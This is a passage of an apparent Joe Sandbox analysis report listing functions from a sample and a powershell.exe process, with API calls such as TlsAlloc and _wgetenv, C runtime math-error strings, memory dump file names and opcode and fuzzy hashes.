Instruction Fuzzy Hash: CE11082162D69481EB90C710F8803ABA620EFC47A4F640331FA9D47BDADF3EC5468740

Function 00007FF624AC6290 Relevance: 6.0, APIs: 4, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

CreateSemaphoreW.KERNEL32 ref: 00007FF624AC62AB
TlsAlloc.KERNEL32 ref: 00007FF624AC62B8
GetLastError.KERNEL32 ref: 00007FF624AC62E0
abort.MSVCRT ref: 00007FF624AC62E8

Memory Dump Source

Source File: 00000000.00000002.1456147049.00007FF624AC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF624AC0000, based on PE: true

Associated: 00000000.00000002.1456127992.00007FF624AC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456162661.00007FF624ACC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456178237.00007FF624ACE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456487849.00007FF624CC6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456520658.00007FF624CC8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456546985.00007FF624CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456571535.00007FF624CCF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456591995.00007FF624CD0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff624ac0000_ahlntQUj2t.jbxd

Similarity

API ID: AllocCreateErrorLastSemaphoreabort
String ID:
API String ID: 4146797221-0
Opcode ID: 3df8b29197056a77df859586d79f1bf4d15e061451aadde36ef3289c2aa43424
Instruction ID: 45d1cd65c085cd5a9a8a4b3356d9bd94a0e67691462271d0f3f6a24758362c5b
Opcode Fuzzy Hash: 3df8b29197056a77df859586d79f1bf4d15e061451aadde36ef3289c2aa43424
Instruction Fuzzy Hash: E1F08C70F0960386FE94EBBCFCC903422B56F05752F600236D42DC66EBEF2CA0058202

Function 00007FF624AC1560 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 110COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF624AC3B60: memset.MSVCRT ref: 00007FF624AC3B90
Part of subcall function 00007FF624AC3B60: wcscpy.MSVCRT ref: 00007FF624AC3B9B
Part of subcall function 00007FF624AC3B60: wcslen.MSVCRT ref: 00007FF624AC3BAD

memset.MSVCRT ref: 00007FF624AC15A8
_wgetenv.MSVCRT ref: 00007FF624AC16E4

Strings

99C, xrefs: 00007FF624AC1656

Memory Dump Source

Source File: 00000000.00000002.1456147049.00007FF624AC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF624AC0000, based on PE: true

Associated: 00000000.00000002.1456127992.00007FF624AC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456162661.00007FF624ACC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456178237.00007FF624ACE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456487849.00007FF624CC6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456520658.00007FF624CC8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456546985.00007FF624CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456571535.00007FF624CCF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456591995.00007FF624CD0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff624ac0000_ahlntQUj2t.jbxd

Similarity

API ID: memset$_wgetenvwcscpywcslen
String ID: 99C
API String ID: 753804109-3786687225
Opcode ID: 71c07efdc79aebdea6522560dccd04e8f814d5b7c59df900f806ae06d1258af1
Instruction ID: 49df3c8865bc88c929d133e54a5a6cebd7817f05b89e5546e3b1bb80bcf064a8
Opcode Fuzzy Hash: 71c07efdc79aebdea6522560dccd04e8f814d5b7c59df900f806ae06d1258af1
Instruction Fuzzy Hash: 5B41D632A0978585EF91CB2AE88436A77A4FB55B84F148035EE8D877DAEF7CD041C742

Function 00007FF624AC4E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF624AC4EE9

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF624AC4ED9
Unknown error, xrefs: 00007FF624AC4F60

Memory Dump Source

Source File: 00000000.00000002.1456147049.00007FF624AC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF624AC0000, based on PE: true

Associated: 00000000.00000002.1456127992.00007FF624AC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456162661.00007FF624ACC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456178237.00007FF624ACE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456487849.00007FF624CC6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456520658.00007FF624CC8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456546985.00007FF624CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456571535.00007FF624CCF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456591995.00007FF624CD0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff624ac0000_ahlntQUj2t.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: bec2a2abb497f7a81624d47846920bd0d53a5862057e49c32a94b49e0e59a488
Instruction ID: 6b36460b60bd4dddb6704ba1ac17a01b1227bcae680f35a96dd70368d763310d
Opcode Fuzzy Hash: bec2a2abb497f7a81624d47846920bd0d53a5862057e49c32a94b49e0e59a488
Instruction Fuzzy Hash: F401E562908E88C5EA528F1CE8411EA7374FF9975AF245321EB8C262A5DF2AD543C700

Function 00007FF624AC4F50 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF624AC4EE9

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF624AC4ED9
Argument singularity (SIGN), xrefs: 00007FF624AC4F50

Memory Dump Source

Source File: 00000000.00000002.1456147049.00007FF624AC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF624AC0000, based on PE: true

Associated: 00000000.00000002.1456127992.00007FF624AC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456162661.00007FF624ACC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456178237.00007FF624ACE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456487849.00007FF624CC6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456520658.00007FF624CC8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456546985.00007FF624CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456571535.00007FF624CCF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456591995.00007FF624CD0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff624ac0000_ahlntQUj2t.jbxd

Similarity

API ID: fprintf
String ID: Argument singularity (SIGN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2468659920
Opcode ID: 9c1f99675411f496ebae98d8a9fd8c25414099954248e06b923c836f49d44bcd
Instruction ID: 2a83553ed3a48f13067e1083ad018826817f11ec6d15bbc47c9fbcb8d826509b
Opcode Fuzzy Hash: 9c1f99675411f496ebae98d8a9fd8c25414099954248e06b923c836f49d44bcd
Instruction Fuzzy Hash: 2DF06253908E8881D652CF2CE8401EBB374FF4D789F295326EB8D7A165DF29D6438704

Function 00007FF624AC4F40 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF624AC4EE9

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF624AC4ED9
Partial loss of significance (PLOSS), xrefs: 00007FF624AC4F40

Memory Dump Source

Source File: 00000000.00000002.1456147049.00007FF624AC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF624AC0000, based on PE: true

Associated: 00000000.00000002.1456127992.00007FF624AC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456162661.00007FF624ACC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456178237.00007FF624ACE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456487849.00007FF624CC6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456520658.00007FF624CC8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456546985.00007FF624CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456571535.00007FF624CCF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456591995.00007FF624CD0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff624ac0000_ahlntQUj2t.jbxd

Similarity

API ID: fprintf
String ID: Partial loss of significance (PLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4283191376
Opcode ID: 14e8c9abfb476ad18acf1c5e7f73d1f4829812003753d9a42390f774e7430cee
Instruction ID: fe552b7230a4e116be59cfc4a3ab191a5fe9cfada907acc6b7c5dc9bb6bfbc02
Opcode Fuzzy Hash: 14e8c9abfb476ad18acf1c5e7f73d1f4829812003753d9a42390f774e7430cee
Instruction Fuzzy Hash: 88F06813908E4481D651CF1CE8401EBB374FF4D789F255326EB8D361A5DF29D5438704

Function 00007FF624AC4F30 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF624AC4EE9

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF624AC4ED9
Total loss of significance (TLOSS), xrefs: 00007FF624AC4F30

Memory Dump Source

Source File: 00000000.00000002.1456147049.00007FF624AC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF624AC0000, based on PE: true

Associated: 00000000.00000002.1456127992.00007FF624AC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456162661.00007FF624ACC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456178237.00007FF624ACE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456487849.00007FF624CC6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456520658.00007FF624CC8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456546985.00007FF624CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456571535.00007FF624CCF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456591995.00007FF624CD0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff624ac0000_ahlntQUj2t.jbxd

Similarity

API ID: fprintf
String ID: Total loss of significance (TLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4273532761
Opcode ID: 07577753afb37eb5fcf5d63ae4e73adc70741b58ff7b1f344ad0f27d0edc3f3e
Instruction ID: edbbc90dbb1662fcea9a3e4f2fd7806364630df4fab518da3a679d21de8aaa2d
Opcode Fuzzy Hash: 07577753afb37eb5fcf5d63ae4e73adc70741b58ff7b1f344ad0f27d0edc3f3e
Instruction Fuzzy Hash: 0CF04F22908E8881D652CF2CE8401EBA374FF4D789F295326EA892A565DF29D6428704

Function 00007FF624AC4F20 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF624AC4EE9

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF624AC4ED9
The result is too small to be represented (UNDERFLOW), xrefs: 00007FF624AC4F20

Memory Dump Source

Source File: 00000000.00000002.1456147049.00007FF624AC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF624AC0000, based on PE: true

Associated: 00000000.00000002.1456127992.00007FF624AC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456162661.00007FF624ACC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456178237.00007FF624ACE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456487849.00007FF624CC6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456520658.00007FF624CC8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456546985.00007FF624CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456571535.00007FF624CCF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456591995.00007FF624CD0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff624ac0000_ahlntQUj2t.jbxd

Similarity

API ID: fprintf
String ID: The result is too small to be represented (UNDERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2187435201
Opcode ID: eecb8fa550eb4f9658770f2b61e2844a682bd80113327cf1eeee3b9a414239df
Instruction ID: c426b73f443ff354dddddb9288839c746e7f09b0684d2a04d846c38ef57312b6
Opcode Fuzzy Hash: eecb8fa550eb4f9658770f2b61e2844a682bd80113327cf1eeee3b9a414239df
Instruction Fuzzy Hash: 9AF06213908E8885D652CF2CE8401EBB374FF4D79AF295326EB8D3A1A5DF29D6438704

Function 00007FF624AC4F10 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF624AC4EE9

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF624AC4ED9
Overflow range error (OVERFLOW), xrefs: 00007FF624AC4F10

Memory Dump Source

Source File: 00000000.00000002.1456147049.00007FF624AC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF624AC0000, based on PE: true

Associated: 00000000.00000002.1456127992.00007FF624AC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456162661.00007FF624ACC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456178237.00007FF624ACE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456487849.00007FF624CC6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456520658.00007FF624CC8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456546985.00007FF624CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456571535.00007FF624CCF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456591995.00007FF624CD0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff624ac0000_ahlntQUj2t.jbxd

Similarity

API ID: fprintf
String ID: Overflow range error (OVERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4064033741
Opcode ID: 45e8a70f94a185c31541e1e23cfc07f2a2f839ba251156f79789ed1c5b7c23f7
Instruction ID: 36590d4bbbb80e5f4dad09b97498c2202d53ea13f1095b74b175fe275e8e6466
Opcode Fuzzy Hash: 45e8a70f94a185c31541e1e23cfc07f2a2f839ba251156f79789ed1c5b7c23f7
Instruction Fuzzy Hash: 0AF06213908E8881D652CF2CE8401EBB374FF4D78AF295326EB8D3A1A5DF29D6438704

Function 00007FF624AC4EA1 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF624AC4EE9

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF624AC4ED9
Argument domain error (DOMAIN), xrefs: 00007FF624AC4EA1

Memory Dump Source

Source File: 00000000.00000002.1456147049.00007FF624AC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF624AC0000, based on PE: true

Associated: 00000000.00000002.1456127992.00007FF624AC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456162661.00007FF624ACC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456178237.00007FF624ACE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456487849.00007FF624CC6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456520658.00007FF624CC8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456546985.00007FF624CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456571535.00007FF624CCF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456591995.00007FF624CD0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff624ac0000_ahlntQUj2t.jbxd

Similarity

API ID: fprintf
String ID: Argument domain error (DOMAIN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2713391170
Opcode ID: ccf22da0147750aef5dc2870aa310f6cc427e2b221e0b1b15f399e3b2fc4dc88
Instruction ID: 2f7c2d7b6a0bb30353081acf3ee1b2a8bade68961e95e042642ffc744cfc8331
Opcode Fuzzy Hash: ccf22da0147750aef5dc2870aa310f6cc427e2b221e0b1b15f399e3b2fc4dc88
Instruction Fuzzy Hash: 42F09612908F8881D602CF2CE8401ABB374FF4D78AF245326EF8C3A165DF29D5438700

Function 00007FF624AC3CC0 Relevance: 5.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF624AC3CE8
wcscpy.MSVCRT ref: 00007FF624AC3D77
wcscat.MSVCRT ref: 00007FF624AC3D82
wcslen.MSVCRT ref: 00007FF624AC3D93

Memory Dump Source

Source File: 00000000.00000002.1456147049.00007FF624AC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF624AC0000, based on PE: true

Associated: 00000000.00000002.1456127992.00007FF624AC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456162661.00007FF624ACC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456178237.00007FF624ACE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456487849.00007FF624CC6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456520658.00007FF624CC8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456546985.00007FF624CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456571535.00007FF624CCF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456591995.00007FF624CD0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff624ac0000_ahlntQUj2t.jbxd

Similarity

API ID: memsetwcscatwcscpywcslen
String ID:
API String ID: 468205783-0
Opcode ID: 47e39745b95e65a02d31816b4517486cd1994e8b7a1a594a32fe267b5ff7099a
Instruction ID: 74ccb44f62290e134c2008bf6d1a11a01a39b7af20641f369d3a3fbb0a606fdd
Opcode Fuzzy Hash: 47e39745b95e65a02d31816b4517486cd1994e8b7a1a594a32fe267b5ff7099a
Instruction Fuzzy Hash: D321E422A1978545EB61DF26EC9436AB6A0FB59B84F188135EE8D873D6EF7CD040C342

Function 00007FF624AC58A0 Relevance: 5.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF624AC58C7
free.MSVCRT ref: 00007FF624AC5918
LeaveCriticalSection.KERNEL32 ref: 00007FF624AC5924

Memory Dump Source

Source File: 00000000.00000002.1456147049.00007FF624AC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF624AC0000, based on PE: true

Associated: 00000000.00000002.1456127992.00007FF624AC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456162661.00007FF624ACC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456178237.00007FF624ACE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456487849.00007FF624CC6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456520658.00007FF624CC8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456546985.00007FF624CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456571535.00007FF624CCF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1456591995.00007FF624CD0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff624ac0000_ahlntQUj2t.jbxd

Similarity

API ID: CriticalSection$EnterLeavefree
String ID:
API String ID: 4020351045-0
Opcode ID: 3c65b183f754d1041ed0acf16b5e25c78a91340a247a1aeea4f14a11320141cc
Instruction ID: 2818a92a99096cac845ccf130164c6284b6b1987ba152018e420ed5ca6c4262a
Opcode Fuzzy Hash: 3c65b183f754d1041ed0acf16b5e25c78a91340a247a1aeea4f14a11320141cc
Instruction Fuzzy Hash: DE110975F1861686EF94CBA9ECD013923A4AFA4B40B644476D51DC32EAEF2CE945A302

Analysis Process: powershell.exePID: 7988, Parent PID: 7704COMMON

Executed Functions

Function 00007FFAAB4E0B17 Relevance: .3, Instructions: 336COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1450954317.00007FFAAB4E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB4E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffaab4e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9148667cee8ff279ee37562e40e765d4c9c13d7b0f9c8bcd68e5572000c5091
Instruction ID: af1b21cfcee957df534a97e337baac491c2dc54e5bfee114f0ed4869d8f985fa
Opcode Fuzzy Hash: c9148667cee8ff279ee37562e40e765d4c9c13d7b0f9c8bcd68e5572000c5091
Instruction Fuzzy Hash: 42A16A6290EBCA8FE3A9976848565B57FD1EF57394B0840FBD09DC72E3DA086C0983C5

Function 00007FFAAB4E5AE8 Relevance: .3, Instructions: 302COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1450954317.00007FFAAB4E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB4E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffaab4e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8287900ade7cc37485c24a6679975571f7a92907f120674482f9c12fc74739e
Instruction ID: 9508512f86d9335cbb597b0349f2179cb8bb460ca79c65da27b98df1efaae4da
Opcode Fuzzy Hash: b8287900ade7cc37485c24a6679975571f7a92907f120674482f9c12fc74739e
Instruction Fuzzy Hash: 6E817772A0EB894FE795972C58146B07BE2EFA7250F0841FBD04DC71E3EA199C4983C6

Function 00007FFAAB41ABD0 Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1450542587.00007FFAAB410000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffaab410000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8e3e67e6bbd363731b90b50bd58fcb921fccbb8594a4b5eb483a63449bc05d9
Instruction ID: 08aeab30dad2999bcecd4b71940388232d056a335b03d8e66dcc5d272860f2c0
Opcode Fuzzy Hash: c8e3e67e6bbd363731b90b50bd58fcb921fccbb8594a4b5eb483a63449bc05d9
Instruction Fuzzy Hash: 5041F97190DBC88FE7599B5C9C0A5B9BFF1EB56310F0441AFE498C31A3DA20A94987C2

Function 00007FFAAB2FE620 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1449935345.00007FFAAB2FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB2FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffaab2fd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d851fdb55c0fbd5216063b134caad0d8470c1202b97a883820d21b30aa37d0d6
Instruction ID: c4079b9ba7759f70de8175148b7c50a88447dc6c2521f6e22b614b504f924c05
Opcode Fuzzy Hash: d851fdb55c0fbd5216063b134caad0d8470c1202b97a883820d21b30aa37d0d6
Instruction Fuzzy Hash: B041147140EBC48FE7579B3898459523FF0EF57260F1905EFE088CB1A7D625A84ACB92

Function 00007FFAAB4E0B9A Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1450954317.00007FFAAB4E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB4E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffaab4e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ee3e57058213cbeae8072bbcf4abf85522b6c8123c74c9fdefe02619bb227ca
Instruction ID: 79aa2c960f81bfd4969b56bd7534efbe27379e079dbbb67088c19e69d3b492c3
Opcode Fuzzy Hash: 3ee3e57058213cbeae8072bbcf4abf85522b6c8123c74c9fdefe02619bb227ca
Instruction Fuzzy Hash: 2B31EC6290FAC78FF769936848522F86ED1EF56294B1844BAD09DC32E3DE08984943C9

Function 00007FFAAB41BB58 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1450542587.00007FFAAB410000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffaab410000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da9bfd2b36f06658ed7627870c38f49ad44367745ac37d2768337dc19c42b008
Instruction ID: ea16adaa5cc15b3b4618ba1080a8daa11669abac7400f0df4106b9607d9c2552
Opcode Fuzzy Hash: da9bfd2b36f06658ed7627870c38f49ad44367745ac37d2768337dc19c42b008
Instruction Fuzzy Hash: EE213C3090CB4C8FDB58DF5C98467E97BE0EB56321F04416BD04CC7166DA745409CB91

Function 00007FFAAB41B91A Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1450542587.00007FFAAB410000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffaab410000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 820964eeb3cdce4789f842acc8649b11680fae976cd73cfbe6fbda98684f9ead
Instruction ID: 4679eadb26236add6cce9340b09cf4f36ff7e4f60893249d11c471398f0850bf
Opcode Fuzzy Hash: 820964eeb3cdce4789f842acc8649b11680fae976cd73cfbe6fbda98684f9ead
Instruction Fuzzy Hash: 7B31E87380978A8FE705EF6CE4E68E93BA0FF1522870801F7D04D8A0B3EE15544687C1

Function 00007FFAAB413A05 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1450542587.00007FFAAB410000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffaab410000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction ID: f9059ee8ab2ea031a8b492906cfd29571e8e97076c8c122bde3f73a188d79598
Opcode Fuzzy Hash: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction Fuzzy Hash: 1401677115CB0C8FDB48EF0CE451AA5B7E0FB95364F10056DE58AC3661DB36E881CB45

Function 00007FFAAB4E51A1 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1450954317.00007FFAAB4E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAB4E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffaab4e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bafa71903f39cb695b8171a56e5fecd4af8bc734b4aa642346918728e8e6056c
Instruction ID: 14fb7e6120c0b122dba423eeef4dc781faf3dceec68ac2b7093f78d1a7851b36
Opcode Fuzzy Hash: bafa71903f39cb695b8171a56e5fecd4af8bc734b4aa642346918728e8e6056c
